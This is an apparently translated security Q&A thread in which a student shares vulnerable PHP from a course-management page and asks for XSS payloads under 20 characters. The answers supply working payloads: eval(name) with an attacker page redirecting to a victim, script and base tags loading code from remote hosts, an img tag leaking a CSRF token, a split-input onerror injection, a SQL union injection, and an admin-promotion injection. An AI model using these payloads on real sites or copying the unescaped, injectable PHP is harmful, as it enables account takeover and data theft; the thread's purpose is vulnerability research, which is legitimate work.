payload XSS inferiore a 20 caratteri

0

Per un progetto universitario devo eseguire un'analisi su un'applicazione web per scoprire le vulnerabilità XSS. Dopodiché devo segnalare e creare test automatici per dimostrare le vulnerabilità che ho scoperto.

Ho scoperto una vulnerabilità XSS memorizzata che interessa un campo del database dichiarato come varchar (20) e, per dimostrarlo, ho usato <h1>Attack!</h1> come vettore di attacco e questo è sufficiente per il mio compito.

La mia domanda riguarda uno scenario ipotetico reale: come posso creare un vettore di attacco efficace con la limitazione di soli 20 caratteri. È possibile? Come?

Qualcuno potrebbe fornire un esempio ipotetico?

La variabile vulnerabile è $ coursename e l'intera sorgente PHP della pagina che visualizza l'input è questa:

    <?php

 require_once("DBFunctions.php");

 // Get the coursename //
 $query = mysql_query("SELECT coursename FROM courses WHERE courseid = '$_POST[selectclass]'") or die("ManageAssignments.php: Unable to get the course name - ".mysql_error());
 $coursename = mysql_result($query,0);

 print("
 <h1>View Assignments</h1>
 <br><br>
 <table align='center' width='600' cellspacing='0' cellpadding='0' border='0'>
 <tr>
 <td>
 <form name='assignments' action='./index.php' method='POST'>
  <br><br>
  <table cellspacing='0' width='600' cellpadding='8' class='dynamiclist'>
   <tr class='header'>
    <th colspan='6'><h2>$coursename</th>
   </tr>
   <tr class='header'>
    <th width='120' align='left' style='padding-left: 20px;'>Title</th>
    <th>Assigned Task</th>
    <th>Possible Points</th>
    <th>Date Assigned</th>
    <th>Date Due</th>
   </tr>");

   // Get the total number of assignments to know how many pages to have //
   $query = mysql_query("SELECT COUNT(*) FROM assignments")
     or die("ManageAssignments.php: Unable to retrieve total number of assignments - ".mysql_error());

   $numrows = mysql_result($query,0);

   $numpages = ceil($numrows / 25);

   if($_POST["onpage"] == "")
   {
    $_POST["onpage"]=1;
   }

   // Get and display the assignments //
   $query = mysql_query("SELECT assignmentid, title, totalpoints, assigneddate, duedate, assignmentinformation FROM assignments WHERE courseid = $_POST[selectclass] ORDER BY assigneddate DESC")
            or die("ManageAssignments.php: Unable to get a list of assignments - ".mysql_error());
   $row = 0;
   $actualrow = 0;
   while($assignment = mysql_fetch_row($query))
   {
    $row++;

    if($row > ($_POST["onpage"]*25)-25 && $row <= ($_POST["onpage"]*25))
    {
     $actualrow++;

     $assignment[2] = number_format($assignment[2],0);
     $assignment[3] = convertfromdb($assignment[3]);
     $assignment[4] = convertfromdb($assignment[4]);

     print("<tr class='".( $row%2==0 ? "even" : "odd" )."'>
      <td align='left' style='padding-left: 20px;'>$assignment[1]</td>
      <td style='text-align: left;'>$assignment[5]</td>
      <td>$assignment[2]</td>
      <td>$assignment[3]</td>
      <td>$assignment[4]</td>
     </tr>");
    }
   }

 print(" </table>
  <br>
  <center>Page: ");

  for($i=1; $i<=$numpages; $i++)
  {
   if($i == $_POST["onpage"])
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='selectedpagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
   else
   {
    print("<a href='JavaScript: document.assignments.deleteassignment.value=0;document.assignments.page2.value=2;document.assignments.onpage.value=$i;document.assignments.submit();' class='pagenum' onMouseover=\"window.status='Go to page $i';return true;\" onMouseout=\"window.status='';return true;\">$i</a>&nbsp;\n");
   }
  }

print("\n</center>
  <input type='hidden' name='deleteassignment'>
  <input type='hidden' name='selectassignment'>
  <input type='hidden' name='page2' value='$page2'>
  <input type='hidden' name='onpage' value='$_POST[onpage]'>
  <input type='hidden' name='logout'>
  <input type='hidden' name='selectclass' value='$_POST[selectclass]' />
  <input type='hidden' name='page' value='$page'>
 </form>
 </td>
 </tr>
 </table>

 <table width='520' border=0 cellspacing=0 cellpadding=0 height=1>
  <tr>
   <td valign='top'>
   <empty>
   </td>
  </tr>
 </table>
 ");
?>
    
posta Zanna 09.12.2018 - 19:04
fonte

4 risposte

4

Le risposte sono già state pubblicate. Quindi, lo sto rendendo breve. Ecco un esempio funzionante di un payload XSS in un contesto HTML che ha esattamente 20 caratteri di lunghezza;

<p oncut=eval(name)>

The window.name (simply name) property can be assigned anything and is also inherited cross-origin. This gives us an advantage and let us execute our payload without any limitation unless the page rewrites its name property itself.

Modifica : aggiunta di un esempio
Quindi, puoi definire il carico utile nella tua pagina e reindirizzare alla pagina vulnerabile come;

<!-- attacker's site: attacker.com -->
<script>
window.name = '<PAYLOAD'>;
location = '//victim.com/vulnerable_page';
// vulnerable_page will eval(name)
</script>

Un altro ancora più corto, potrebbe non funzionare in tutti i casi e tutti i browser, è

<script src=//㎠.㎺>

Sono solo 3 lettere per il nome del dominio che include punti e tld. È auto tradotto in cm2.pw dai browser. Ricordo casi in cui non è necessario chiudere il tag script.

Ho scritto un post sul blog sullo stesso argomento qualche giorno fa, fai riferimento a link per esplosione di eval(name) di payload e altri payload più brevi possibili.

    
risposta data 09.12.2018 - 22:22
fonte
3

20 caratteri non sono poi così tanto, quindi la sfruttabilità dipende dal contesto.

Idealmente, dovresti includere gli script in modo da poter bypassare completamente la restrizione della lunghezza (supponendo che il CSP lo consenta). I seguenti sono i più brevi che potrei inventare:

// basic include, remote file (29 chars)
<script src=//x.me></script>

// using jquery (if already included), remote file (22 chars) (if already in JS context, otherwise 40)
$.getScript('//x.me')

// using jquery, local file (17 chars) (if already in JS context, otherwise 35)
$.getScript('x')

Ora, probabilmente non sarai in grado di ottenere un nome di dominio di un personaggio, quindi puoi aggiungere +1 char agli esempi remoti. in entrambi i casi, è troppo lungo (ma non di molto).

Il terzo esempio presuppone che tu abbia la possibilità di caricare file sul server. I file JS non sono intrinsecamente pericolosi (beh, ad eccezione del bypass CSP in caso di XSS), quindi questo potrebbe essere possibile. Ma hai solo 4 caratteri per il percorso da webroot + il nome del file.

Un'altra opzione - context dependend - sarebbe:

// rewrite base (19 chars)
<base href=//x.me>

Se uno script è incluso utilizzando un percorso relativo, ad esempio <script src="myscript.js"></script> , questo caricherà tale script dal server controllato da un utente malintenzionato.

Si potrebbe salvare un personaggio se si è già nel contesto corretto (quindi si può ad esempio salvare la parentesi iniziale o di chiusura). L'iniezione HTML può anche essere un vettore di attacco valido (es. <img src='//x.me/ (18 caratteri) per rubare il token CSRF).

In base alla mia ricerca, non puoi essere più breve di quanto sopra (a meno che tu non sia davvero fortunato riguardo al contesto, ad esempio, come indicato nella risposta da @ Mike Ounsworth ).

Naturalmente, nel tuo esempio, questo non ha importanza perché non devi preoccuparti della limitazione della lunghezza basata sul database. Dovresti essere in grado di utilizzare l'iniezione SQL per stampare tutto ciò che vuoi usando -1' union select '[XSS payload]' (per XSS riflesso (se non c'è protezione CSRF per la richiesta POST)).

    
risposta data 09.12.2018 - 21:29
fonte
1

Quando ho dei limiti limitati per i payload del genere, quello che faccio è prima cercare se non c'è un altro input di cui ho il controllo (anche se è sterilizzato) che viene riflesso.

Nel tuo esempio, ci sono altri parametri (anche se non sono vulnerabili) che si riflettono nella pagina. Ad esempio, $_POST[onpage] . Diciamo che solo le virgolette ( ' ) vengono disinfettate (il che è sufficiente per impedire l'xss qui), ma non le doppie virgolette ( " ).

Possiamo quindi creare un payload

coursname : <img src="//x.me/? (18 caratteri)

$_POST[onpage] : " onerror=alert("1");//

Sarà reso come

<th colspan='6'><h2><img src="//x.me/?</th>...<input type='hidden' name='onpage' value="onerror=alert("1");//'>

Poiché viene utilizzato solo virgolette ' per gli attributi tra coursename e $_POST[onpage] , l'intero codice html verrà considerato parte del sorgente dell'immagine e verrà ignorato fino a quando non verrà chiuso in seguito.

A volte pensato, non hai un altro input. Ma potrebbe ancora esserci un modo in base a quello che verrà dopo. Prendiamo ad esempio il seguente codice, in cui $coursename sarebbe anche unsanitized.

<h2>$coursename</h2>
<script src="mysuperscript.js></script>

Se imposti $coursename come <script src=//x.me/> (20 caratteri !!) verrà eseguito. Quando vede un <script src=x> il parser html sta cercando il tag </script> e se esiste, caricherà ed eseguirà il tuo javascript. Ignora anche tutto tra i tag di script (quindi userà il tag di script di chiusura dello script mysuperscript.js !)

    
risposta data 09.12.2018 - 22:11
fonte
0

Qualsiasi esempio del genere sarà molto specifico per l'applicazione.

Esempio ipotetico: la pagina di amministrazione di alcune app Web, in cui una delle azioni consiste nel promuovere un altro utente come amministratore:

function makeAdmin(userId) {
  // send a POST to the server elevating user $userId to the admin role
  ...
}

Ora diciamo che alcune pagine admin.jsp hanno un vuln XSS come questo:

<!DOCTYPE html>
<html lang="en-US">
...
<script>
displayUserInput(%{userInput});
</script>
...
</html>

Supponiamo che l'ID utente per il mio account sia 1234 . Quindi fornisco il seguente input di 16 caratteri: );makeAdmin(1234 attendi che un vero amministratore esegua l'accesso e attivi il mio XSS memorizzato e BAM! Ora sono un amministratore!

Per la maggior parte dei siti / pagine, 20 caratteri sono probabilmente troppo corti per fare danni reali, ma è certamente possibile.

    
risposta data 09.12.2018 - 20:17
fonte

Leggi altre domande sui tag